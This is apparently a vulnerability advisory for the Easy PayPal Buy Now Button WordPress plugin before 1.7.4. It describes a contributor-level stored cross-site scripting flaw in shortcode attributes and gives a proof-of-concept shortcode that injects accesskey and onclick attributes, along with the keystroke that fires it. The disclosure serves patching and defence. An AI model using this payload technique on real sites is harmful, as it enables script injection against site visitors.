Easy PayPal Buy Now Button < 1.7.4 - Contributor+ Stored XSS in Shortcode

2023-01-1900:00:00

Lana Codes

162

paypal

xss

shortcode

access keys

exploit

EPSS

0.001

Percentile

25.5%

JSON

The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks

[wpecpp name="' accesskey='X' onclick='alert(1)'"]

Press Alt + Shift + X in Firefox to trigger the payload.

More information about access keys: https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/accesskey

EPSS

0.001

Percentile

25.5%

JSON

Related for WPEX-ID:6AE719DA-C43C-4B3A-BB8A-EFA1DE20100A